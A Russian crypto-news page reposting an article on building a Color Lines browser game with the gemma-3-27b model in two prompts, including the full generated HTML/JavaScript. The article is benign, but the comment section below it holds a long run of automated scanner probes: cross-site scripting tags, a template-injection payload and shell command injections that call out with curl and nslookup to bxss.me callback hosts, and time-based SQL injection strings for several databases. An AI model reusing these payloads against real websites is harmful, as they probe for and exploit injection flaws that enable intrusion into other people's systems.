Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Создание игры с помощью LLM более полугода назад и этой же игры теперь. Что изменилось?

И вот прошло 9 месяцев, модели стали значительно совершеннее, и качество написания кода улучшилось в разы, если не на порядок. Поэтому проведем такой же эксперимент с новейшей моделью такого же размера и попробуем на экспертном уровне оценить степень прогресса в данной области.

Тогда в своей статье «Кажется, LLM программирует лучше меня» я с изрядной долей самоиронии описал в подробностях пошагово написание кода игры «Шарики», Lenes (Color Lines). Это вызвало самые разные отклики, но и большой интерес к новой парадигме программирования, в которой кодированием занимается LLM, а программист выступает в роли аналитика, управляющего процессом выполнения поставленной задачи. При этом задача выполняется пошагово, от простого к сложному методом последовательных улучшений кода.

Что изменилось за это время?

Для тех, кто хочет сразу получить конечный ответ: в прошлый раз эта игра была создана за 15 шагов, теперь за 2 шага.

Если в прошлой статье была картинка-аллегория с программистами-пахарями, то теперь будет такая.

Теперь к делу

Код будем создавать для браузера: HTML, JS.
В качестве модели я буду использовать модель общего назначения gemma-3-27b-it-Q4_K_M, которую можно без проблем развернуть локально на обычном домашнем железе и использовать бесплатно с приемлемым уровнем комфорта.

Были ли какие-то аналогичные коды игры в обучающей выборке или нет, я считаю, не важно. Сделав несколько попыток генерации, можно увидеть, что каждый раз код создаётся существенно разным способом, следовательно, работают навыки, а не бездумное повторение.

Начнём новый эксперимент

Первый промпт, который должен объяснить модели смысл игры, которую она должна создать.

Напишите HTML-код для игры в Lines.
Суть игры состоит в следующем.
На игровом поле 10 на 10 клеток в случайной клетке появляется первый шарик круглой формы одного из 5 случайных цветов.
Игрок мышкой кликает на этот шарик, выбирая его.
При выборе шарика его яркость и размер плавно циклически изменялись по синусоиде с помощью таймера.
Игрок мышкой указывает свободную клетку, куда он этот шарик желает передвинуть, и шарик передвигается в эту клетку. После этого изменение яркости и размера данного шарика прекращаются.
Выбор шарика и указание клеточки для его перемещения производились только нажатием левой кнопки мыши.
Затем в случайной свободной клетке опять появляется другой шарик одного из случайных 5 цветов.
Игрок снова мышкой кликает на любой имеющийся на поле шарик, выбирая его.
И таким же образом игра продолжается дальше.
Задача игрока состоит в том, чтобы из 5 или более шариков одного цвета собрать непрерывную линию по вертикали или по горизонтали или по диагонали. В этом случае все эти 5 шариков исчезают.
Игра заканчивается, когда все клеточки заполнены шариками. Новый шарик может появиться только на свободной клеточке.
Добавь кнопку, нажав на которую начинается новая игра, а также Label, на котором считается число удаленных линий из шариков. Сделай панель, кнопку и Label более красивыми, с четкими линиями и приятными цветами.

Ответ Модели (код).

<!DOCTYPE html>
<html>
<head>
    <title>Lines Game</title>
    <style>
        body {
            font-family: sans-serif;
            background-color: #f0f0f0;
        }

        #game-container {
            width: 500px;
            margin: 20px auto;
            background-color: #fff;
            border: 1px solid #ccc;
            padding: 10px;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
        }

        #board {
            display: grid;
            grid-template-columns: repeat(10, 40px);
            grid-gap: 1px;
			justify-content: center;
        }

        .cell {
            width: 40px;
            height: 40px;
            border: 1px solid #ddd;
            background-color: #eee;
            cursor: pointer;
            position: relative; /* For positioning the ball */
        }

        .ball {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 30px;
            height: 30px;
            border-radius: 50%;
            opacity: 0.8;
        }

        /* Colors for balls */
        .red { background-color: #ff69b4; }
        .green { background-color: #7bff00; }
        .blue { background-color: #6495ed; }
        .yellow { background-color: #ffd700; }
        .purple { background-color: #a0522d; }

        #controls {
            text-align: center;
            margin-top: 10px;
        }

        #new-game-button {
            background-color: #4CAF50;
            border: none;
            color: white;
            padding: 10px 20px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin: 4px 2px;
            cursor: pointer;
            border-radius: 5px;
        }

        #lines-removed-label {
            font-weight: bold;
            margin-left: 20px;
            color: #333;
        }
    </style>
</head>
<body>

<div id="game-container">
    <h1>Lines Game</h1>
    <div id="board"></div>
    <div id="controls">
        <button id="new-game-button">New Game</button>
        <label id="lines-removed-label">Lines Removed: <span id="lines-removed-count">0</span></label>
    </div>
</div>

<script>
    const board = document.getElementById('board');
    const newGameButton = document.getElementById('new-game-button');
    const linesRemovedCountSpan = document.getElementById('lines-removed-count');
    let linesRemoved = 0;

    const colors = ['red', 'green', 'blue', 'yellow', 'purple'];
    let grid = [];  // Represents the game board (2D array)
    let selectedBall = null; // The ball currently selected by the player

    function createBoard() {
        for (let i = 0; i < 10; i++) {
            grid[i] = [];
            for (let j = 0; j < 10; j++) {
                grid[i][j] = null;
                const cell = document.createElement('div');
                cell.classList.add('cell');
                cell.dataset.row = i;
                cell.dataset.col = j;
                cell.addEventListener('click', handleCellClick);
                board.appendChild(cell);
            }
        }
    }


    function getRandomEmptyCell() {
        let row, col;
        do {
            row = Math.floor(Math.random() * 10);
            col = Math.floor(Math.random() * 10);
        } while (grid[row][col] !== null); // Find an empty cell

        return { row, col };
    }

    function placeRandomBall() {
        const { row, col } = getRandomEmptyCell();
        const colorIndex = Math.floor(Math.random() * colors.length);
        const color = colors[colorIndex];

        const ball = document.createElement('div');
		ball.dataset.row = row;
		ball.dataset.col = col;
        ball.classList.add('ball', color);
        const cell = board.children[row * 10 + col];
        cell.appendChild(ball);
        grid[row][col] = { color: color, element: ball };  // Store the ball's info in grid
    }

    function handleCellClick(event) {
        const row = parseInt(event.target.dataset.row);
        const col = parseInt(event.target.dataset.col);

        if (grid[row][col] === null) { // Clicked on an empty cell - potential destination
            if (selectedBall) {
                moveSelectedBall(row, col);
            } else {
                // No ball selected!
                console.log("No ball selected");
            }
        } else { // Clicked on a ball - select it
            selectBall(row, col);
        }
    }

    function selectBall(row, col) {
        if (selectedBall) {
            deselectBall();
        }

        selectedBall = { row, col };
        startAnimation(selectedBall.row, selectedBall.col);

    }


    function deselectBall() {
        stopAnimation(selectedBall.row, selectedBall.col);
        selectedBall = null;
    }

    let animationTimers = {};

    function startAnimation(row, col) {
        const ballElement = grid[row][col].element;
        let angle = 0;  // Start angle for sine wave
        animationTimers[`${row}-${col}`] = setInterval(() => {
            angle += 0.1;
            const brightness = Math.sin(angle) + 1; // Scale to 0-2
            const sizeScale = 1 + Math.abs(Math.sin(angle)) * 0.2; // Vary size slightly

            ballElement.style.opacity = brightness / 2 ;
            ballElement.style.transform = `translate(-50%, -50%) scale(${sizeScale})`;
        }, 30);
    }

    function stopAnimation(row, col) {
      clearInterval(animationTimers[`${row}-${col}`]);
       const ballElement = grid[row][col].element;
        ballElement.style.opacity = 0.8;
        ballElement.style.transform = `translate(-50%, -50%) scale(1)`;

    }

    function moveSelectedBall(newRow, newCol) {
        if (grid[newRow][newCol] !== null) return; // Destination occupied

        const oldRow = selectedBall.row;
        const oldCol = selectedBall.col;

        const ballElement = grid[oldRow][oldCol].element;
        const color = grid[oldRow][oldCol].color;
		ballElement.dataset.row = newRow;
		ballElement.dataset.col = newCol;

        // Move the element visually
        board.children[newRow * 10 + newCol].appendChild(ballElement);

        // Update the grid data
        grid[newRow][newCol] = { color: color, element: ballElement };

        deselectBall();
        grid[oldRow][oldCol] = null;  // Clear the old location
        checkLines();
        placeRandomBall(); // Place a new ball after moving
    }


    function checkLines() {
        // Check horizontal lines
        for (let i = 0; i < 10; i++) {
            for (let j = 0; j <= 7; j++) {
				let count = 1;
				for (let k = j+1; k < 10; k++) {

					if (grid[i][j] && grid[i][k] && grid[i][j].color === grid[i][k].color)	{
						count ++;
					}
					else{
						break;
					}
	            }

				if (count >= 5){
                    removeLine(i, j, 'horizontal', count);
					break;
				}
            }
        }
        // Check vertical lines
        for (let j = 0; j < 10; j++) {
            for (let i = 0; i <= 7; i++) {
				let count = 1;
				for (let k = i+1; k < 10; k++) {
					if (grid[i][j] && grid[k][j] && grid[i][j].color === grid[k][j].color)	{
						count ++;
					}
					else{
						break;
					}
	            }

				if (count >= 5){
                    removeLine(i, j, 'vertical', count);
					break;
				}
            }
        }

        // Check diagonal lines (top-left to bottom-right)
        for (let i = 0; i <= 6; i++) {
            for (let j = 0; j <= 6; j++) {
				let count = 1;
				for (let k = 1; k < 10; k++) {
					if (i+k < 10 && j+k < 10 && grid[i][j] && grid[i+k][j+k] && grid[i][j].color === grid[i+k][j+k].color)	{
						count ++;
					}
					else{
						break;
					}
	            }

				if (count >= 5){
                    removeLine(i, j, 'diagonal_tlbr', count);
					break;
				}
            }
        }

        // Check diagonal lines (top-right to bottom-left)
        for (let i = 0; i <= 6; i++) {
            for (let j = 9; j >= 4; j--) {
				let count = 1;
				for (let k = 1; k < 10; k++) {
					if (i+k < 10 && j-k > 0 && grid[i][j] && grid[i+k][j-k] && grid[i][j].color === grid[i+k][j-k].color)	{
						count ++;
					}
					else{
						break;
					}
	            }

				if (count >= 5){
                    removeLine(i, j, 'diagonal_trbl', count);
					break;
				}
            }
        }
    }


    function removeLine(row, col, direction, count) {
        linesRemoved++;
        linesRemovedCountSpan.textContent = linesRemoved;

        if (direction === 'horizontal') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[row * 10 + (col + k)];
                cell.removeChild(cell.firstChild);  // Remove the ball element
                grid[row][col + k] = null; // Clear the grid
            }
        } else if (direction === 'vertical') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[(row + k) * 10 + col];
                cell.removeChild(cell.firstChild);
                grid[row + k][col] = null;
            }
        } else if (direction === 'diagonal_tlbr') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[(row + k) * 10 + (col + k)];
                cell.removeChild(cell.firstChild);
                grid[row + k][col + k] = null;
            }
        } else if (direction === 'diagonal_trbl') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[(row + k) * 10 + (col - k)];
                cell.removeChild(cell.firstChild);
                grid[row + k][col - k] = null;
            }
        }
    }

    function newGame() {
        // Reset the game state
        linesRemoved = 0;
        linesRemovedCountSpan.textContent = 0;
        grid = [];
        board.innerHTML = '';  // Clear the board visually

        createBoard();
        placeRandomBall();
        placeRandomBall(); // Place two initial balls
    }


    newGameButton.addEventListener('click', newGame);
    createBoard();
    placeRandomBall(); // Initial ball placement


</script>

</body>
</html>

Комментарии

Key improvements and explanations:

* **Clearer Code Structure:** The code is now better organized into functions for specific tasks (creating the board, placing balls, handling clicks, moving balls, checking lines, removing lines, starting a new game). This makes it much easier to understand and maintain.
* **Grid Representation:** Uses a `grid` array to represent the game board. Each element in the grid stores either `null` (empty) or an object containing the ball's color and HTML element. This is crucial for correctly tracking the state of the board and determining valid moves.
* **Animation with Sine Wave:** Implements the brightness and size animation using `setInterval` and `Math.sin`. Includes `startAnimation`, `stopAnimation`, and timers to control the effect.
* **Line Detection:** Comprehensive line detection logic that checks horizontal, vertical, and both diagonal directions. The `checkLines()` function iterates through possible lines and calls `removeLine()` if a complete line is found.
* **Line Removal:** The `removeLine()` function removes the balls from the board *and* updates the `grid` array to reflect the empty cells.
* **New Game Functionality:** A fully functional "New Game" button resets the board and starts a new game.
* **UI Enhancements:** Added CSS styling for a more visually appealing game interface. Used box shadows, rounded corners, and appropriate colors.
* **Error Handling / Input Validation**: Checks if the attempted move results in placing a ball on an occupied cell preventing bugs.
* **Comments:** Added comments to explain key parts of the code.
* **Performance Improvement:** Avoids unnecessary DOM manipulation by storing references to elements.

Мы получаем сразу рабочий вариант кода.
Но в нём есть недосток: нет плавного движения шаров по полю из начальной точки в конечную.

Корректирующий промпт.

Измени код так, чтобы, выбранный шарик передвигаться в указанную клеточку плавно, последовательно перемещаясь в одну из соседних примыкающих слева, справа, сверху или снизу клеточек, пока не достигнет указанной клеточки. Траектория передвижения должна каждый раз рассчитываться так, чтобы не пересекаться ни с одним другим шариком в игровом поле. Если это невозможно, то передвижение шарика не происходит.

Ответ Модели (исправленный код)

<!DOCTYPE html>
<html>
<head>
    <title>Lines Game</title>
    <style>
        body {
            font-family: sans-serif;
            background-color: #f0f0f0;
        }

        #game-container {
            width: 500px;
            margin: 20px auto;
            background-color: #fff;
            border: 1px solid #ccc;
            padding: 10px;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
			text-align: center;
        }

        #board {
            display: grid;
            grid-template-columns: repeat(10, 40px);
            grid-gap: 1px;
			justify-content: center;
        }

        .cell {
            width: 40px;
            height: 40px;
            border: 1px solid #ddd;
            background-color: #f5f5f5;
            cursor: pointer;
            position: relative; /* For positioning the ball */
        }

        .ball {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 30px;
            height: 30px;
            border-radius: 50%;
            opacity: 0.8;
        }

        /* Colors for balls */
        .red { background-color: #ff69b4; }
        .green { background-color: #7bff00; }
        .blue { background-color: #6495ed; }
        .yellow { background-color: #ffd700; }
        .purple { background-color: #a0522d; }

        #controls {
            text-align: center;
            margin-top: 10px;
        }

        #new-game-button {
            background-color: #4CAF50;
            border: none;
            color: white;
            padding: 10px 20px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 16px;
            margin: 4px 2px;
            cursor: pointer;
            border-radius: 5px;
        }

        #lines-removed-label {
            font-weight: bold;
            margin-left: 20px;
            color: #333;
        }
    </style>
</head>
<body>

<div id="game-container">
    <h1>Lines Game</h1>
    <div id="board"></div>
    <div id="controls">
        <button id="new-game-button">New Game</button>
        <label id="lines-removed-label">Lines Removed: <span id="lines-removed-count">0</span></label>
    </div>
</div>

<script>
    const board = document.getElementById('board');
    const newGameButton = document.getElementById('new-game-button');
    const linesRemovedCountSpan = document.getElementById('lines-removed-count');
    let linesRemoved = 0;

    const colors = ['red', 'green', 'blue', 'yellow', 'purple'];
    let grid = [];  // Represents the game board (2D array)
    let selectedBall = null; // The ball currently selected by the player

    function createBoard() {
        for (let i = 0; i < 10; i++) {
            grid[i] = [];
            for (let j = 0; j < 10; j++) {
                grid[i][j] = null;
                const cell = document.createElement('div');
                cell.classList.add('cell');
                cell.dataset.row = i;
                cell.dataset.col = j;
                cell.addEventListener('click', handleCellClick);
                board.appendChild(cell);
            }
        }
    }


    function getRandomEmptyCell() {
        let row, col;
        do {
            row = Math.floor(Math.random() * 10);
            col = Math.floor(Math.random() * 10);
        } while (grid[row][col] !== null); // Find an empty cell

        return { row, col };
    }

    function placeRandomBall() {
        const { row, col } = getRandomEmptyCell();
        const colorIndex = Math.floor(Math.random() * colors.length);
        const color = colors[colorIndex];

        const ball = document.createElement('div');
		ball.dataset.row = row;
		ball.dataset.col = col;
        ball.classList.add('ball', color);
        const cell = board.children[row * 10 + col];
        cell.appendChild(ball);
        grid[row][col] = { color: color, element: ball };  // Store the ball's info in grid
    }

    function handleCellClick(event) {
        const row = parseInt(event.target.dataset.row);
        const col = parseInt(event.target.dataset.col);

        if (grid[row][col] === null) { // Clicked on an empty cell - potential destination
            if (selectedBall) {
                moveSelectedBall(row, col);
            } else {
                // No ball selected!
                console.log("No ball selected");
            }
        } else { // Clicked on a ball - select it
            selectBall(row, col);
        }
    }

    function selectBall(row, col) {
        if (selectedBall) {
            deselectBall();
        }

        selectedBall = { row, col };
        startAnimation(selectedBall.row, selectedBall.col);

    }


    function deselectBall() {
        stopAnimation(selectedBall.row, selectedBall.col);
        selectedBall = null;
    }

    let animationTimers = {};

    function startAnimation(row, col) {
        const ballElement = grid[row][col].element;
        let angle = 0;  // Start angle for sine wave
        animationTimers[`${row}-${col}`] = setInterval(() => {
            angle += 0.1;
            const brightness = Math.sin(angle) + 1; // Scale to 0-2
            const sizeScale = 1 + Math.abs(Math.sin(angle)) * 0.2; // Vary size slightly

            ballElement.style.opacity = brightness / 2 ;
            ballElement.style.transform = `translate(-50%, -50%) scale(${sizeScale})`;
        }, 30);
    }

    function stopAnimation(row, col) {
      clearInterval(animationTimers[`${row}-${col}`]);
       const ballElement = grid[row][col].element;
        ballElement.style.opacity = 0.8;
        ballElement.style.transform = `translate(-50%, -50%) scale(1)`;

    }

    // Pathfinding function (simple Manhattan distance)
   function findPath(startRow, startCol, endRow, endCol) {
        const queue = [[startRow, startCol, []]]; // [row, col, path]
        const visited = new Set();

        while (queue.length > 0) {
            const [currentRow, currentCol, path] = queue.shift();

            if (currentRow === endRow && currentCol === endCol) {
                return path.concat([[endRow, endCol]]);
            }

            visited.add(`${currentRow}-${currentCol}`);

            // Possible moves: up, down, left, right
            const moves = [
                [currentRow - 1, currentCol], // Up
                [currentRow + 1, currentCol], // Down
                [currentRow, currentCol - 1], // Left
                [currentRow, currentCol + 1]  // Right
            ];

            for (const [nextRow, nextCol] of moves) {
                if (
                    nextRow >= 0 && nextRow < 10 &&
                    nextCol >= 0 && nextCol < 10 &&
                    grid[nextRow][nextCol] === null && // Check if cell is empty
                    !visited.has(`${nextRow}-${nextCol}`)
                ) {
                    queue.push([nextRow, nextCol, path.concat([[currentRow, currentCol]])]);
                }
            }
        }

        return null; // No path found
    }
	

    async function moveSelectedBall(newRow, newCol) {
        if (grid[newRow][newCol] !== null) return; // Destination occupied

        const oldRow = selectedBall.row;
        const oldCol = selectedBall.col;

        const ballElement = grid[oldRow][oldCol].element;
        const color = grid[oldRow][oldCol].color;
		ballElement.dataset.row = newRow;
		ballElement.dataset.col = newCol;

        const path = findPath(oldRow, oldCol, newRow, newCol);

        if (!path) {
            console.log("No valid path found.");
            return;
        }

        deselectBall();
         // Animate the movement along the path
        for (let i = 1; i < path.length; i++) {
            await delay(100);  // Adjust speed as needed
            const [nextRow, nextCol] = path[i];

            const cellToMoveTo = board.children[nextRow * 10 + nextCol];
            cellToMoveTo.appendChild(ballElement);
            grid[nextRow][nextCol] = { color: color, element: ballElement };
			grid[path[i-1][0]][path[i-1][1]] = null;
        }

        grid[oldRow][oldCol] = null;  // Clear the old location
        checkLines();
        placeRandomBall(); // Place a new ball after moving
    }

    function delay(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }


    function checkLines() {
        // Check horizontal lines
        for (let i = 0; i < 10; i++) {
            for (let j = 0; j <= 7; j++) {
				if (grid[i][j])	{
					let count = 1;
					for (let k = j+1; k < 10; k++) {

						if (grid[i][k] && grid[i][j].color === grid[i][k].color)	{
							count ++;
						}
						else{
							break;
						}
					}

					if (count >= 5){
						removeLine(i, j, 'horizontal', count);
						break;
					}
				}
            }
        }
        // Check vertical lines
        for (let j = 0; j < 10; j++) {
            for (let i = 0; i <= 7; i++) {
				if (grid[i][j])	{
					let count = 1;
					for (let k = i+1; k < 10; k++) {

						if (grid[k][j] && grid[i][j].color === grid[k][j].color)	{
							count ++;
						}
						else{
							break;
						}
					}

					if (count >= 5){
						removeLine(i, j, 'vertical', count);
						break;
					}
				}
            }
        }

        // Check diagonal lines (top-left to bottom-right)
        for (let i = 0; i <= 6; i++) {
            for (let j = 0; j <= 6; j++) {
				if (grid[i][j])	{
					let count = 1;
					for (let k = 1; k < 10; k++) {

						if (i+k < 10 && j+k < 10 && grid[i+k][j+k] && grid[i][j].color === grid[i+k][j+k].color)	{
							count ++;
						}
						else{
							break;
						}
					}

					if (count >= 5){
						removeLine(i, j, 'diagonal_tlbr', count);
						break;
					}
				}
            }
        }

        // Check diagonal lines (top-right to bottom-left)
        for (let i = 0; i <= 6; i++) {
            for (let j = 9; j >= 4; j--) {
				if (grid[i][j])	{
					let count = 1;
					for (let k = 1; k < 10; k++) {

						if (i+k < 10 && j-k > 0 && grid[i+k][j-k] && grid[i][j].color === grid[i+k][j-k].color)	{
							count ++;
						}
						else{
							break;
						}
					}

					if (count >= 5){
						removeLine(i, j, 'diagonal_trbl', count);
						break;
					}
				}
            }
        }
    }


    function removeLine(row, col, direction, count) {
        linesRemoved++;
        linesRemovedCountSpan.textContent = linesRemoved;

        if (direction === 'horizontal') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[row * 10 + (col + k)];
                cell.removeChild(cell.firstChild);  // Remove the ball element
                grid[row][col + k] = null; // Clear the grid
            }
        } else if (direction === 'vertical') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[(row + k) * 10 + col];
                cell.removeChild(cell.firstChild);
                grid[row + k][col] = null;
            }
        } else if (direction === 'diagonal_tlbr') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[(row + k) * 10 + (col + k)];
                cell.removeChild(cell.firstChild);
                grid[row + k][col + k] = null;
            }
        } else if (direction === 'diagonal_trbl') {
            for (let k = 0; k < count; k++) {
                const cell = board.children[(row + k) * 10 + (col - k)];
                cell.removeChild(cell.firstChild);
                grid[row + k][col - k] = null;
            }
        }
    }

    function newGame() {
        // Reset the game state
        linesRemoved = 0;
        linesRemovedCountSpan.textContent = 0;
        grid = [];
        board.innerHTML = '';  // Clear the board visually

        createBoard();
        placeRandomBall();
        placeRandomBall(); // Place two initial balls
    }


    newGameButton.addEventListener('click', newGame);
    createBoard();
    placeRandomBall(); // Initial ball placement



</script>

</body>
</html>

Комментарии

Key changes and explanations:

* **`findPath(startRow, startCol, endRow, endCol)`:** This function implements a Breadth-First Search (BFS) algorithm to find the shortest path between two cells on the board. It avoids occupied cells (`grid[nextRow][nextCol] !== null`). The path is returned as an array of `[row, col]` coordinates. If no path exists, it returns `null`.
* **`moveSelectedBall()`:** Now uses the `findPath()` function to get a valid path. It then iterates through the path using `setInterval`, moving the ball one step at a time. Within each step:
* The ball element is moved visually by removing it from its current cell and appending it to the next cell in the path.
* The `grid` data is updated accordingly.
* `selectedBall.row` and `selectedBall.col` are updated to reflect the ball's new position.
* **Animation speed control**: The interval duration (150ms) can be adjusted to change the animation speed.
* **No Path Handling:** If `findPath()` returns `null` (no path found), a message is logged to the console, and the move is canceled.
* **Clearer Movement Logic:** The movement logic is now more structured and easier to follow.

This improved code provides smooth, animated movement along a calculated path that avoids obstacles. It only moves if a valid path exists, making the game more robust and engaging. Remember to adjust the `interval` duration in `moveSelectedBall()` to fine-tune the animation speed as needed for the best user experience.

Работу кода можно посмотреть в песочнице.

Выводы

В прошлый раз эта игра была создана за 15 шагов, многие из которых просто заставляли ленивую модель писать задекларированные ранее функции или исправлять явные косяки. И значительно сократить число шагов вряд ли было возможно, так как длинный контекст модель понимала с трудом и приходилось оптимизировать отдельные части кода.

Теперь модель отлично работает с длинным контекстом, хорошо контролирует внимание и понимает детально всю логику как единый процесс. Учтите, что это скромная по размеру модель, не заточенная на кодирование.

В результате игра создана за 2 шага: основной и корректирующий.

Да, есть некоторые непринципиальные недочёты, которые я подправил вручную, мне это совсем не трудно.
Функция выбора оптимального пути шарика на втором шаге получилась не с первого раза, но получилась без ошибок.
В целом мне было легко и комфортно получить работающий конечный результат.

На текущий момент, опираясь на свой опыт, могу уверенно сказать, что оптимальным алгоритмом программирования, пожалуй, будет следующий.

Сначала точно и достаточно полно формулируется основная задача. Формулируются все основные моменты четко и однозначно, определяется логика работы программы с высоким уровнем конкретики и, там где это важно, детализации (этот этап сам по себе полезен для собственного осмысления задачи).

Получив начальный код, мы его изучаем, исправляем ошибки и неточности.
Как правило, начальный код уже имеет приемлемую структуру, качество и логику. Маловероятно, что вы решите его отклонить. Но если так произошло, то 2-3 попытки почти наверняка приведут к желаемому результату. В любом случае такой подход быстрее и менее трудоёмкий, чем самостоятельное придумывание и реализация или поиск похожих решений и их адаптация.

Затем мы просим модель изменить код или его части так, как нам нужно для его улучшения или исправления.

Проделав несколько таких итераций, мы с большой долей вероятности получим хороший рабочий код.

По-прежнему старый добрый метод от простого к сложному за несколько шагов прекрасно работает, но теперь в новой форме и с большей эффективностью, чем полгода назад. Моделей для кодинга теперь уже много любых размеров.

Попробуйте изменить свой способ программирования в этой новой парадигме, и, возможно, вы будете получать больше удовольствия от своей профессии, исчезнут признаки выгорания, откроются новые горизонты.

Если с первого раза у вас не получится, не спешите отрицать и критиковать, это точно работает.

P.S. А вот просто любопытное наблюдение. В одной программистской семье моих знакомых мужчина хоть и в курсе этого подхода, но пока не использует ИИ для написания кода, а его жена, тоже программист высокого уровня, уже использует и стремится встроить в свой процесс. Может быть, женщины более восприимчивы к удобству ИИ и быстрее освоят эту технологию?

Источник

Теги

Категория

Новости

Дата

25 мар. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

